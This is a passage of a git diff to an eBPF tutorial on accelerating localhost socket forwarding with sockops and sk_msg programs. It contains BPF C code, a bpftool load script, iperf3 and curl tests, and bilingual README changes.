bpf_sockops_handler(struct bpf_sock_ops *skops){ .family = skops->family, }; - bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport)); + bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport)); - bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); + bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); return BPF_OK; } ``` -### 编译 eBPF 程序 +### Compiling the eBPF Program -这里我们使用 libbpf 编译这个 eBPF 程序。完整的源代码和工程可以在 中找到。关于如何安装依赖,请参考: +Here, we use libbpf to compile the eBPF program. The complete source code and project can be found at . ```shell # Compile the bpf program with libbpf make ``` -### 加载 eBPF 程序 +### Loading the eBPF Program -我们编写了一个脚本来加载 eBPF 程序,它会自动加载两个 eBPF 程序并创建一个 BPF MAP: +We have created a script to load the eBPF program, which will automatically load both eBPF programs and create a BPF map: ```shell sudo ./load.sh ``` -这个脚本实际上完成了这些操作: +This script actually performs the following operations: ```sh #!/bin/bash @@ -164,24 +166,24 @@ sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map ``` -这是一个 BPF 的加载脚本。它的主要功能是加载和附加 BPF 程序到内核系统中,并将关联的 BPF map 一并存储(pin)到 BPF 文件系统中,以便 BPF 程序能访问和操作这些 map。 +This is a script for loading BPF programs. Its main function is to load and attach BPF programs to the kernel system, and store the associated BPF maps in the BPF file system so that the BPF programs can access and operate on these maps. -让我们详细地看一下脚本的每一行是做什么的。 +Let's take a detailed look at what each line of the script does. -1. `sudo mount -t bpf bpf /sys/fs/bpf/` 这一行用于挂载 BPF 文件系统,使得 BPF 程序和相关的 map 可以被系统访问和操作。 -2. 判断条件 `[ -e "/sys/fs/bpf/bpf_sockops" ]` 是检查是否已经存在 `/sys/fs/bpf/bpf_sockops` 文件,如果存在,则说明 `bpf_sockops` 程序已经被加载到系统中,那么将会通过 `./unload.sh` 脚本将其卸载。 -3. `sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/` 这一行是加载上文中 `bpf_contrack.bpf.c` 编译得到的 BPF 对象文件 `bpf_contrack.bpf.o` 到 BPF 文件系统中,存储至 `/sys/fs/bpf/bpf_sockops`,并且指定它的类型为 `sockops`。`pinmaps /sys/fs/bpf/` 是指定将加载的 BPF 程序相关的 map 存储在 `/sys/fs/bpf/` 下。 -4. `sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"` 这一行是将已经加载到 BPF 文件系统的 `bpf_sockops` 程序附加到 cgroup(此路径为"/sys/fs/cgroup/")。附加后,所有属于这个 cgroup 的套接字操作都会受到 `bpf_sockops` 的影响。 -5. `sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"` 这一行是加载 `bpf_redirect.bpf.c` 编译得到的 BPF 对象文件 `bpf_redirect.bpf.o` 到 BPF 文件系统中,存储至 `/sys/fs/bpf/bpf_redir` ,并且指定它的相关 map为 `sock_ops_map`,这个map在 `/sys/fs/bpf/sock_ops_map` 中。 -6. `sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map` 这一行是将已经加载的 `bpf_redir` 附加到 `sock_ops_map` 上,附加方式为 `msg_verdict`,表示当该 map 对应的套接字收到消息时,将会调用 `bpf_redir` 程序处理。 +1. `sudo mount -t bpf bpf /sys/fs/bpf/` mounts the BPF file system, enabling access to and operation on BPF programs and related maps by the system. +2. The condition check `[ -e "/sys/fs/bpf/bpf_sockops" ]` checks whether the `/sys/fs/bpf/bpf_sockops` file already exists. If it does exist, it means that the `bpf_sockops` program has already been loaded into the system, so it will be uninstalled using the `./unload.sh` script. +3. `sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/` loads the BPF object file `bpf_contrack.bpf.o` compiled from the `bpf_contrack.bpf.c` into the BPF file system, storing it in `/sys/fs/bpf/bpf_sockops`, and specifying its type as `sockops`. `pinmaps /sys/fs/bpf/` specifies that the BPF maps associated with the loaded BPF program will be stored under `/sys/fs/bpf/`. +4. `sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"` attaches the `bpf_sockops` program that has been loaded into the BPF file system to the cgroup (the path is `"/sys/fs/cgroup/"`). After the attachment, all socket operations belonging to this cgroup will be affected by the `bpf_sockops` program. +5. `sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"` loads the BPF object file `bpf_redirect.bpf.o` compiled from `bpf_redirect.bpf.c` into the BPF file system, storing it in `/sys/fs/bpf/bpf_redir`, and specifying the associated map as `sock_ops_map`, which is located in `/sys/fs/bpf/sock_ops_map`. +6. `sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map` attaches the already loaded `bpf_redir` program to the `sock_ops_map` using the `msg_verdict` attachment type, which means that when the socket associated with this map receives a message, the `bpf_redir` program will be called to handle it. -综上,此脚本的主要作用就是将两个用于处理本地套接字流量的 BPF 程序分别加载到系统并附加到正确的位置,以便它们能被正确地调用,并且确保它们可以访问和操作相关的 BPF map。 +In summary, the main function of this script is to load the two BPF programs used to process local socket traffic into the system and attach them to the correct locations so that they can be correctly called, ensuring that they can access and manipulate the associated BPF maps. -您可以使用 [bpftool utility](https://github.com/torvalds/linux/blob/master/tools/bpf/bpftool/Documentation/bpftool-prog.rst) 检查这两个 eBPF 程序是否已经加载。 +You can use the [bpftool utility](https://github.com/torvalds/linux/blob/master/tools/bpf/bpftool/Documentation/bpftool-prog.rst) to check if these two eBPF programs have been loaded. ```console $ sudo bpftool prog show -63: sock_ops name bpf_sockops_handler tag 275467be1d69253d gpl +63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58 64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl @@ -189,69 +191,71 @@ $ sudo bpftool prog show xlated 304B jited 233B memlock 4096B map_ids 58 ``` -### 使用 iperf3 或 curl 进行测试 +### Test with iperf3 or curl + +See to install iperf3. -运行 [iperf3](https://iperf.fr/) 服务器 +Running the iperf3 Server: ```shell iperf3 -s -p 5001 ``` -运行 [iperf3](https://iperf.fr/) 客户端 +Running the iperf3 Client: ```shell iperf3 -c 127.0.0.1 -t 10 -l 64k -p 5001 ``` -或者也可以用 Python 和 curl 进行测试: +Or you can use curl and python: ```sh python3 -m http.server curl http://0.0.0.0:8000/ ``` -### 收集追踪 +### Collecting Traces -查看``sock_ops``追踪本地连接建立 +Check the `sock_ops` trace for local connection establishments. ```console -$ ./trace_bpf_output.sh # 实际上就是 sudo cat /sys/kernel/debug/tracing/trace_pipe +$ ./trace_bpf_output.sh # which is basically sudo cat /sys/kernel/debug/tracing/trace_pipe iperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135 iperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583 iperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135 iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 ``` -当iperf3 -c建立连接后,你应该可以看到上述用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。 +When the connection is established between `iperf3 -c` and the server, you should see the events above for socket establishment. If you don't see any events, then the eBPF programs may not have been attached correctly. -此外,当``sk_msg``生效后,可以发现当使用 tcpdump 捕捉本地lo设备流量时,只能捕获三次握手和四次挥手流量,而iperf数据流量没有被捕获到。如果捕获到iperf数据流量,那么 eBPF 程序可能没有正确地附加上。 +Furthermore, when `sk_msg` takes effect, you should observe that when capturing local traffic on the loopback interface using tcpdump, only the three-way handshake and four-way termination traffic are captured, and the actual data flow of iperf is not captured. If the iperf data flow is captured, then the eBPF programs may not have been attached correctly. ```console $ ./trace_lo_traffic.sh # tcpdump -i lo port 5001 -# 三次握手 +# Three-way handshake 13:24:07.181804 IP localhost.46506 > localhost.5001: Flags [S], seq 620239881, win 65495, options [mss 65495,sackOK,TS val 1982813394 ecr 0,nop,wscale 7], length 0 13:24:07.181815 IP localhost.5001 > localhost.46506: Flags [S.], seq 1084484879, ack 620239882, win 65483, options [mss 65495,sackOK,TS val 1982813394 ecr 1982813394,nop,wscale 7], length 0 13:24:07.181832 IP localhost.46506 > localhost.5001: Flags [.], ack 1, win 512, options [nop,nop,TS val 1982813394 ecr 1982813394], length 0 -# 四次挥手 +# Four-way termination 13:24:12.475649 IP localhost.46506 > localhost.5001: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 1982818688 ecr 1982813394], length 0 13:24:12.479621 IP localhost.5001 > localhost.46506: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818692 ecr 1982818688], length 0 13:24:12.481265 IP localhost.5001 > localhost.46506: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818688], length 0 13:24:12.481270 IP localhost.46506 > localhost.5001: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818694], length 0 ``` -### 卸载 eBPF 程序 +### Unloading the eBPF Program ```shell sudo ./unload.sh ``` -## 参考资料 +## References -最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 +Finally, if you are interested in eBPF technology and want to learn more and practice further, you can visit our tutorial code repository at and the tutorial website at . - - -> 原文地址: 转载请注明出处。 +> The original link of this article: diff --git a/src/29-sockops/README.zh.md b/src/29-sockops/README.zh.md new file mode 100644 index 00000000..ee842189 --- /dev/null +++ b/src/29-sockops/README.zh.md @@ -0,0 +1,257 @@ +# eBPF 开发实践:使用 sockops 加速网络请求转发 + +eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 + +本教程将关注 eBPF 在网络领域的应用,特别是如何使用 sockops 类型的 eBPF 程序来加速本地网络请求的转发。这种应用通常在使用软件负载均衡器进行请求转发的场景中很有价值,比如使用 Nginx 或 HAProxy 之类的工具。 + +在许多工作负载中,如微服务架构下的服务间通信,通过本机进行的网络请求的性能开销可能会对整个应用的性能产生显著影响。由于这些请求必须经过本机的网络栈,其处理性能可能会成为瓶颈,尤其是在高并发的场景下。为了解决这个问题,sockops 类型的 eBPF 程序可以用于加速本地的请求转发。sockops 程序可以在内核空间管理套接字,实现在本机上的套接字之间直接转发数据包,从而降低了在 TCP/IP 栈中进行数据包转发所需的 CPU 时间。 + +本教程将会通过一个具体的示例演示如何使用 sockops 类型的 eBPF 程序来加速网络请求的转发。为了让你更好地理解如何使用 sockops 程序,我们将逐步介绍示例程序的代码,并讨论每个部分的工作原理。完整的源代码和工程可以在 中找到。 + +## 利用 eBPF 的 sockops 进行性能优化 + +网络连接本质上是 socket 之间的通讯,eBPF 提供了一个 [bpf_msg_redirect_hash](https://man7.org/linux/man-pages/man7/bpf-helpers.7.html) 函数,用来将应用发出的包直接转发到对端的 socket,可以极大地加速包在内核中的处理流程。 + +这里 sock_map 是记录 socket 规则的关键部分,即根据当前的数据包信息,从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方,将 socket 信息保存到 sock_map,并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 + +Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示: + +![merbridge](merbridge.png) + +## 示例程序 + +此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口),**跳过 TCP/IP 内核网络栈**。在这个示例中,我们假定发送者和接收者都在**同一台**机器上运行。这个示例程序有两个部分,它们共享一个 map 定义: + +bpf_sockmap.h + +```c +#include "vmlinux.h" +#include +#include + +#define LOCALHOST_IPV4 16777343 + +struct sock_key { + __u32 sip; + __u32 dip; + __u32 sport; + __u32 dport; + __u32 family; +}; + +struct { + __uint(type, BPF_MAP_TYPE_SOCKHASH); + __uint(max_entries, 65535); + __type(key, struct sock_key); + __type(value, int); +} sock_ops_map SEC(".maps"); +``` + +这个示例程序中的 BPF 程序被分为两个部分 `bpf_redirect.bpf.c` 和 `bpf_contrack.bpf.c`。 + +- `bpf_contrack.bpf.c` 中的 BPF 代码定义了一个套接字操作(`sockops`)程序,它的功能主要是当本机(使用 localhost)上的任意 TCP 连接被创建时,根据这个新连接的五元组(源地址,目标地址,源端口,目标端口,协议),在 `sock_ops_map` 这个 BPF MAP 中创建一个条目。这个 BPF MAP 被定义为 `BPF_MAP_TYPE_SOCKHASH` 类型,可以存储套接字和对应的五元组。这样使得每当本地 TCP 连接被创建的时候,这个连接的五元组信息也能够在 BPF MAP 中找到。 + +- `bpf_redirect.bpf.c` 中的 BPF 代码定义了一个网络消息 (sk_msg) 处理程序,当本地套接字上有消息到达时会调用这个程序。然后这个 sk_msg 程序检查该消息是否来自本地地址,如果是,根据获取的五元组信息(源地址,目标地址,源端口,目标端口,协议)在 `sock_ops_map` 查找相应的套接字,并将该消息重定向到在 `sock_ops_map` 中找到的套接字上,这样就实现了绕过内核网络栈。 + +举个例子,我们假设有两个进程在本地运行,进程 A 绑定在 8000 端口上,进程 B 绑定在 9000 端口上,进程 A 向进程 B 发送消息。 + +1. 当进程 A 首次和进程 B 建立 TCP 连接时,触发 `bpf_contrack.bpf.c` 中的 `sockops` 程序,这个程序将五元组 `{127.0.0.1, 127.0.0.1, 8000, 9000, TCP}` 存入 `sock_ops_map`,值为进程 A 的套接字。 + +2. 当进程 A 发送消息时,触发 `bpf_redirect.bpf.c` 中的 `sk_msg` 程序,然后 `sk_msg` 程序将消息从进程 A 的套接字重定向到 `sock_ops_map` 中存储的套接字(进程 A 的套接字)上,因此,消息被直接从进程 A 输送到进程 B,绕过了内核网络栈。 + +这个示例程序就是通过 BPF 实现了在本地通信时,快速将消息从发送者的套接字重定向到接收者的套接字,从而绕过了内核网络栈,以提高传输效率。 + +bpf_redirect.bpf.c + +```c +#include "bpf_sockmap.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("sk_msg") +int bpf_redir(struct sk_msg_md *msg) +{ + if(msg->remote_ip4 != LOCALHOST_IPV4 || msg->local_ip4!= LOCALHOST_IPV4) + return SK_PASS; + + struct sock_key key = { + .sip = msg->remote_ip4, + .dip = msg->local_ip4, + .dport = bpf_htonl(msg->local_port), /* convert to network byte order */ + .sport = msg->remote_port, + .family = msg->family, + }; + return bpf_msg_redirect_hash(msg, &sock_ops_map, &key, BPF_F_INGRESS); +} +``` + +bpf_contrack.bpf.c + +```c +#include "bpf_sockmap.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +SEC("sockops") +int bpf_sockops_handler(struct bpf_sock_ops *skops){ + u32 family, op; + + family = skops->family; + op = skops->op; + if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB + && op != BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB) { + return BPF_OK; + } + + if(skops->remote_ip4 != LOCALHOST_IPV4 || skops->local_ip4!= LOCALHOST_IPV4) { + return BPF_OK; + } + + struct sock_key key = { + .dip = skops->remote_ip4, + .sip = skops->local_ip4, + .sport = bpf_htonl(skops->local_port), /* convert to network byte order */ + .dport = skops->remote_port, + .family = skops->family, + }; + + bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport)); + + bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); + return BPF_OK; +} +``` + +### 编译 eBPF 程序 + +这里我们使用 libbpf 编译这个 eBPF 程序。完整的源代码和工程可以在 中找到。关于如何安装依赖,请参考: + +```shell +# Compile the bpf program with libbpf +make +``` + +### 加载 eBPF 程序 + +我们编写了一个脚本来加载 eBPF 程序,它会自动加载两个 eBPF 程序并创建一个 BPF MAP: + +```shell +sudo ./load.sh +``` + +这个脚本实际上完成了这些操作: + +```sh +#!/bin/bash +set -x +set -e + +sudo mount -t bpf bpf /sys/fs/bpf/ + +# check if old program already loaded +if [ -e "/sys/fs/bpf/bpf_sockops" ]; then + echo ">>> bpf_sockops already loaded, uninstalling..." + ./unload.sh + echo ">>> old program already deleted..." +fi + +# load and attach sock_ops program +sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/ +sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops" + +# load and attach sk_msg program +sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map" +sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map +``` + +这是一个 BPF 的加载脚本。它的主要功能是加载和附加 BPF 程序到内核系统中,并将关联的 BPF map 一并存储(pin)到 BPF 文件系统中,以便 BPF 程序能访问和操作这些 map。 + +让我们详细地看一下脚本的每一行是做什么的。 + +1. `sudo mount -t bpf bpf /sys/fs/bpf/` 这一行用于挂载 BPF 文件系统,使得 BPF 程序和相关的 map 可以被系统访问和操作。 +2. 判断条件 `[ -e "/sys/fs/bpf/bpf_sockops" ]` 是检查是否已经存在 `/sys/fs/bpf/bpf_sockops` 文件,如果存在,则说明 `bpf_sockops` 程序已经被加载到系统中,那么将会通过 `./unload.sh` 脚本将其卸载。 +3. `sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/` 这一行是加载上文中 `bpf_contrack.bpf.c` 编译得到的 BPF 对象文件 `bpf_contrack.bpf.o` 到 BPF 文件系统中,存储至 `/sys/fs/bpf/bpf_sockops`,并且指定它的类型为 `sockops`。`pinmaps /sys/fs/bpf/` 是指定将加载的 BPF 程序相关的 map 存储在 `/sys/fs/bpf/` 下。 +4. `sudo bpftool cgroup attach "/sys/fs/cgroup/" sock_ops pinned "/sys/fs/bpf/bpf_sockops"` 这一行是将已经加载到 BPF 文件系统的 `bpf_sockops` 程序附加到 cgroup(此路径为"/sys/fs/cgroup/")。附加后,所有属于这个 cgroup 的套接字操作都会受到 `bpf_sockops` 的影响。 +5. `sudo bpftool prog load bpf_redirect.bpf.o "/sys/fs/bpf/bpf_redir" map name sock_ops_map pinned "/sys/fs/bpf/sock_ops_map"` 这一行是加载 `bpf_redirect.bpf.c` 编译得到的 BPF 对象文件 `bpf_redirect.bpf.o` 到 BPF 文件系统中,存储至 `/sys/fs/bpf/bpf_redir` ,并且指定它的相关 map为 `sock_ops_map`,这个map在 `/sys/fs/bpf/sock_ops_map` 中。 +6. `sudo bpftool prog attach pinned /sys/fs/bpf/bpf_redir msg_verdict pinned /sys/fs/bpf/sock_ops_map` 这一行是将已经加载的 `bpf_redir` 附加到 `sock_ops_map` 上,附加方式为 `msg_verdict`,表示当该 map 对应的套接字收到消息时,将会调用 `bpf_redir` 程序处理。 + +综上,此脚本的主要作用就是将两个用于处理本地套接字流量的 BPF 程序分别加载到系统并附加到正确的位置,以便它们能被正确地调用,并且确保它们可以访问和操作相关的 BPF map。 + +您可以使用 [bpftool utility](https://github.com/torvalds/linux/blob/master/tools/bpf/bpftool/Documentation/bpftool-prog.rst) 检查这两个 eBPF 程序是否已经加载。 + +```console +$ sudo bpftool prog show +63: sock_ops name bpf_sockops_handler tag 275467be1d69253d gpl + loaded_at 2019-01-24T13:07:17+0200 uid 0 + xlated 1232B jited 750B memlock 4096B map_ids 58 +64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl + loaded_at 2019-01-24T13:07:17+0200 uid 0 + xlated 304B jited 233B memlock 4096B map_ids 58 +``` + +### 使用 iperf3 或 curl 进行测试 + +运行 [iperf3](https://iperf.fr/) 服务器 + +```shell +iperf3 -s -p 5001 +``` + +运行 [iperf3](https://iperf.fr/) 客户端 + +```shell +iperf3 -c 127.0.0.1 -t 10 -l 64k -p 5001 +``` + +或者也可以用 Python 和 curl 进行测试: + +```sh +python3 -m http.server +curl http://0.0.0.0:8000/ +``` + +### 收集追踪 + +查看``sock_ops``追踪本地连接建立 + +```console +$ ./trace_bpf_output.sh # 实际上就是 sudo cat /sys/kernel/debug/tracing/trace_pipe +iperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135 +iperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583 +iperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135 +iperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 +``` + +当iperf3 -c建立连接后,你应该可以看到上述用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。 + +此外,当``sk_msg``生效后,可以发现当使用 tcpdump 捕捉本地lo设备流量时,只能捕获三次握手和四次挥手流量,而iperf数据流量没有被捕获到。如果捕获到iperf数据流量,那么 eBPF 程序可能没有正确地附加上。 + +```console +$ ./trace_lo_traffic.sh # tcpdump -i lo port 5001 + +# 三次握手 +13:24:07.181804 IP localhost.46506 > localhost.5001: Flags [S], seq 620239881, win 65495, options [mss 65495,sackOK,TS val 1982813394 ecr 0,nop,wscale 7], length 0 +13:24:07.181815 IP localhost.5001 > localhost.46506: Flags [S.], seq 1084484879, ack 620239882, win 65483, options [mss 65495,sackOK,TS val 1982813394 ecr 1982813394,nop,wscale 7], length 0 +13:24:07.181832 IP localhost.46506 > localhost.5001: Flags [.], ack 1, win 512, options [nop,nop,TS val 1982813394 ecr 1982813394], length 0 + +# 四次挥手 +13:24:12.475649 IP localhost.46506 > localhost.5001: Flags [F.], seq 1, ack 1, win 512, options [nop,nop,TS val 1982818688 ecr 1982813394], length 0 +13:24:12.479621 IP localhost.5001 > localhost.46506: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818692 ecr 1982818688], length 0 +13:24:12.481265 IP localhost.5001 > localhost.46506: Flags [F.], seq 1, ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818688], length 0 +13:24:12.481270 IP localhost.46506 > localhost.5001: Flags [.], ack 2, win 512, options [nop,nop,TS val 1982818694 ecr 1982818694], length 0 +``` + +### 卸载 eBPF 程序 + +```shell +sudo ./unload.sh +``` + +## 参考资料 + +最后,如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 和教程网站 + +- +- + +> 原文地址: 转载请注明出处。 diff --git a/src/29-sockops/README_en.md b/src/29-sockops/README_en.md deleted file mode 100644 index 8548b9f0..00000000 --- a/src/29-sockops/README_en.md +++ /dev/null @@ -1,259 +0,0 @@ -# eBPF Development Practices: Accelerating Network Request Forwarding with Sockops - -eBPF (Extended Berkeley Packet Filter) is a powerful feature in the Linux kernel that allows running, loading, and updating user-defined code without the need to modify the kernel source code or reboot the kernel. This capability makes eBPF widely used in various areas such as network and system performance analysis, packet filtering, security policies, etc. - -This tutorial will focus on the application of eBPF in the networking domain, specifically how to use sockops-type eBPF programs to accelerate the forwarding of local network requests. This application is often valuable in scenarios where software load balancers are used for request forwarding, such as using tools like Nginx or HAProxy. - -In many workloads, such as inter-service communication in a microservices architecture, the performance overhead of network requests made through the loopback interface can significantly impact the overall application performance. Since these requests have to go through the local network stack, their processing performance can become a bottleneck, especially in high-concurrency scenarios. To address this issue, sockops-type eBPF programs can be used to accelerate local request forwarding, providing functionality similar to direct memory access (DMA). Sockops programs can manage sockets in the kernel space and directly forward packets between sockets on the local machine, reducing the CPU time required for packet forwarding in the TCP/IP stack. - -This tutorial will demonstrate how to use sockops-type eBPF programs to accelerate network request forwarding through a specific example. To help you understand how to use sockops programs, we will step by step introduce the code of the example program and discuss the working principle of each part. The complete source code and project can be found at . - -## Leveraging eBPF Sockops for Performance Optimization - -Network connections are essentially communication between sockets, and eBPF provides a `bpf_msg_redirect_hash` function that allows packets sent by an application to be directly forwarded to the corresponding socket on the recipient side, greatly accelerating the packet processing flow in the kernel. - -Here, the `sock_map` is a key component that stores socket rules, i.e., it selects an existing socket connection from the `sock_map` based on the current packet information. Therefore, it is necessary to save the socket information to the `sock_map` at the hook of the sockops or elsewhere and provide a rule (usually a four-tuple) to find the socket based on the key. - -The Merbridge project has achieved acceleration for Istio by replacing iptables with eBPF. After using Merbridge (eBPF) optimization, the inbound and outbound traffic bypasses many kernel modules, significantly improving performance, as shown in the following diagram: - -![merbridge](merbridge.png) - -## Example Program - -This example program redirects traffic from the sender’s socket (outgoing) to the recipient’s socket (incoming), bypassing the TCP/IP kernel network stack. In this example, we assume that the sender and recipient are both running on the **same** machine. This example program has two parts that share a map definition: - -bpf_sockmap.h - -```c -#include "vmlinux.h" -#include -#include - -#define LOCALHOST_IPV4 16777343 - -struct sock_key { - __u32 sip; - __u32 dip; - __u32 sport; - __u32 dport; - __u32 family; -}; - -struct { - __uint(type, BPF_MAP_TYPE_SOCKHASH); - __uint(max_entries, 65535); - __type(key, struct sock_key); - __type(value, int); -} sock_ops_map SEC(".maps"); -``` - -The BPF program in this example is divided into two parts: `bpf_redirect.bpf.c` and `bpf_contrack.bpf.c`. - -- The BPF code in `bpf_contrack.bpf.c` defines a socket operation (`sockops`) program, whose main function is to create an entry in the `sock_ops_map` BPF map in which it stores the five-tuple (source address, destination address, source port, destination port, protocol) for each new TCP connection established on the local machine (using localhost). This BPF map is defined as type `BPF_MAP_TYPE_SOCKHASH` and can store sockets and their corresponding five-tuple. This allows the five-tuple information of each local TCP connection to be found in the BPF map whenever the connection is created. - -- The BPF code in `bpf_redirect.bpf.c` defines a sk_msg handler that is called when a message arrives on a local socket. The sk_msg program checks if the message is from a local address, and if so, it retrieves the five-tuple (source address, destination address, source port, destination port, protocol) from the message and looks up the corresponding socket in the `sock_ops_map` using the obtained key. Then, it redirects the message to the socket found in the `sock_ops_map`, thus bypassing the kernel network stack and directly delivering the message from the sender's socket to the receiver's socket. - -For example, let's assume that there are two processes running locally, process A binds to port 8000, and process B binds to port 9000. Process A sends a message to process B. - -1. When the TCP connection is first established between process A and process B, the `sockops` program in `bpf_contrack.bpf.c` is triggered, and it creates an entry in the `sock_ops_map` BPF map for the five-tuple `{127.0.0.1, 127.0.0.1, 8000, 9000, TCP}`, with the value being the socket of process A. - -2. When process A sends a message, the `sk_msg` program in `bpf_redirect.bpf.c` is triggered, and it redirects the message from process A's socket to the socket stored in the `sock_ops_map` based on the obtained five-tuple information (source address, destination address, source port, destination port, protocol). As a result, the message is directly delivered from process A to process B, bypassing the kernel network stack. - -This example program uses BPF to efficiently redirect messages from the sender's socket to the recipient's socket during local communication, bypassing the kernel network stack to improve transmission efficiency. - -bpf_redirect.bpf.c - -```c -#include "bpf_sockmap.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("sk_msg") -int bpf_redir(struct sk_msg_md *msg) -{ - if(msg->remote_ip4 != LOCALHOST_IPV4 || msg->local_ip4!= LOCALHOST_IPV4) - return SK_PASS; - - struct sock_key key = { - .sip = msg->remote_ip4, - .dip = msg->local_ip4, - .dport = bpf_htonl(msg->local_port), /* convert to network byte order */ - .sport = msg->remote_port, - .family = msg->family, - }; - return bpf_msg_redirect_hash(msg, &sock_ops_map, &key, BPF_F_INGRESS); -} -``` - -bpf_contrack.bpf.c - -```c -#include "bpf_sockmap.h" - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("sockops") -int bpf_sockops_handler(struct bpf_sock_ops *skops){ - u32 family, op; - - family = skops->family; - op = skops->op; - if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB - && op != BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB) { - return BPF_OK; - } - - if(skops->remote_ip4 != LOCALHOST_IPV4 || skops->local_ip4!= LOCALHOST_IPV4) { - return BPF_OK; - } - - struct sock_key key = { - .dip = skops->remote_ip4, - .sip = skops->local_ip4, - .sport = bpf_htonl(skops->local_port), /* convert to network byte order */ - .dport = skops->remote_port, - .family = skops->family, - }; - - bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport)); - - bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); - return BPF_OK; -} -``` - -### Compiling the eBPF Program - -Here, we use libbpf to compile the eBPF program. The complete source code and project can be found at . - -```shell -# Compile the bpf program with libbpf -make -``` - -### Loading the eBPF Program - -We have created a script to load the eBPF program, which will automatically load both eBPF programs and create a BPF map: - -```shell -sudo ./load.sh -``` - -This script actually performs the following operations: - -```sh -#!/bin/bash -set -x -set -e - -sudo mount -t bpf bpf /sys/fs/bpf/ - -# check if old program already loaded -if [ -e "/sys/fs/bpf/bpf_sockops" ]; then - echo ">>> bpf_sockops already loaded, uninstalling..." - ./unload.sh - echo ">>> old program already deleted..." -fi - -# load and attach sock_ops program -sudo bpftool prog load bpf_contrack.bpf.o /sys/fs/bpf/bpf_sockops type sockops pinmaps /sys/fs/bpf/ -sudo bpftool cgroup 